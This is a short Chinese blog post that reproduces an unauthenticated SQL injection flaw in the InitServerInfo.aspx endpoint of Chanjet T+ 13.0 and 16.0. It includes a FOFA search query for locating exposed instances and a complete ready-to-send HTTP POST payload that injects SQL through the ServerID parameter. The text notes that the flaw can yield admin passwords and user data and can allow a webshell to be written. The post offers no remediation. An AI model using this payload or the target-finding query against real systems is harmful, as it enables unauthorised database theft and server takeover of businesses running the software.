Babing
Published on 2024-08-30 / 0 Visits
0
0

Y2-2-畅捷通+-SQL

Y2-2-畅捷通+-SQL

漏洞描述:

由于畅捷通T+的InitServerInfo.aspx接口处未对用户的输入进行过滤和校验,未经身份验证的攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限

影响版本:

畅捷通T+ 13.0
畅捷通T+ 16.0

网站图片:

image-20240623103609650

网络测绘:

fofa语法:

FOFA:app=“畅捷通-TPlus”

漏洞复现:

payload:

POST /tplus/UFAQD/InitServerInfo.aspx?preload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 113

operbtn=create&ServerID=1'%2b(select 1 where 1 in (SELECT sys.fn_varbintohexstr(hashbytes('MD5','123456'))))%2b'1

效果图:
查询对应的md5值


Comment